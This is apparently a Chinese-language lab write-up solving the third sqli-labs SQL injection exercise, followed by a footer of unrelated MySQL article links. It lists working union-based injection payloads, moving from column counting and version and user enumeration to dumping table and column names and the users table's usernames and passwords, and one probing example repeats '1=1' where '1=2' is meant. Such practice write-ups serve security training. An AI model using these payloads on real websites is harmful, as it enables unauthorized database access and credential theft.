SQL注入sqli_labs靶场第三题

?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据报错信息判断为单引号带括号注入

联合查询:

猜解列名

?id=1') order by 3--+

判断回显点

?id=-1') union select 1,2,3--+

爆库、版本号、权限

?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,user()--+

爆表、爆列

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1') union select 1,2,(select group_concat(username,password))from users

相关推荐
hyx0412191 天前
mysql第5次作业---hyx
数据库·mysql
nsjqj1 天前
MySQL数据库:表的增删改查 [CRUD](进阶)【一】
数据库·mysql
运维 小白1 天前
k8s 部署MySQL主从集群(一主两从)1.0
mysql·容器·kubernetes
就叫飞六吧1 天前
MySQL不停机迁移完全指南
数据库·mysql
q***42051 天前
在Spring Boot项目中使用MySQL数据库
数据库·spring boot·mysql
Wang's Blog1 天前
MySQL: 操作系统对MySQL性能的影响及选型指南
数据库·mysql
挨踢攻城1 天前
【OCP考试喜报】2025.11月 ORACLE OCP 考试通过
数据库·mysql·oracle·dba·oracle ocp·公众号:厦门微思网络·ocp19c
计算机学姐1 天前
基于SpringBoot的健身房管理系统【智能推荐算法+可视化统计】
java·vue.js·spring boot·后端·mysql·spring·推荐算法
我科绝伦(Huanhuan Zhou)1 天前
【免费】MySQL自动化巡检工具,一键生成WORD巡检报告
运维·mysql·自动化